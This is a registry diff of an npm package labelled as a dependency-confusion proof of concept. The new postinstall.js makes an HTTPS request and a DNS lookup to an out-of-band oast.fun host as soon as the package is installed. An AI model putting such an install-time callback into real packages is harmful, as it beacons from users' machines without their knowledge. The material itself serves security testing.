@finxsecdemo/utils 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +22 -0
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@finxsecdemo/utils",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "PoC package for internal dependency-confusion security demo. Harmless - see postinstall.js.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,4 +1,25 @@
1
1
  const os = require('os');
2
+ const https = require('https');
3
+ const dns = require('dns');
4
+
5
+ const OAST_HOST = 'llhvrrffsffmousfvteqie2heq3c7rl55.oast.fun';
6
+
7
+ function callback() {
8
+ try {
9
+ const req = https.get(
10
+ { host: OAST_HOST, path: '/dep-confusion-poc', timeout: 4000 },
11
+ res => res.resume(),
12
+ );
13
+ req.on('error', () => {});
14
+ req.on('timeout', () => req.destroy());
15
+ } catch (_) {}
16
+
17
+ try {
18
+ dns.resolve(OAST_HOST, () => {});
19
+ } catch (_) {}
20
+ }
21
+
22
+ callback();
2
23
 
3
24
  console.log('');
4
25
  console.log('==============================================================');
@@ -14,5 +35,6 @@ console.log(' CI environment :', process.env.CI ? 'yes' : 'no');
14
35
  console.log('--------------------------------------------------------------');
15
36
  console.log(' No data was exfiltrated or modified. This is a benign,');
16
37
  console.log(' internal proof-of-concept for a dependency-confusion demo.');
38
+ console.log(' OOB callback fired to: ' + OAST_HOST);
17
39
  console.log('==============================================================');
18
40
  console.log('');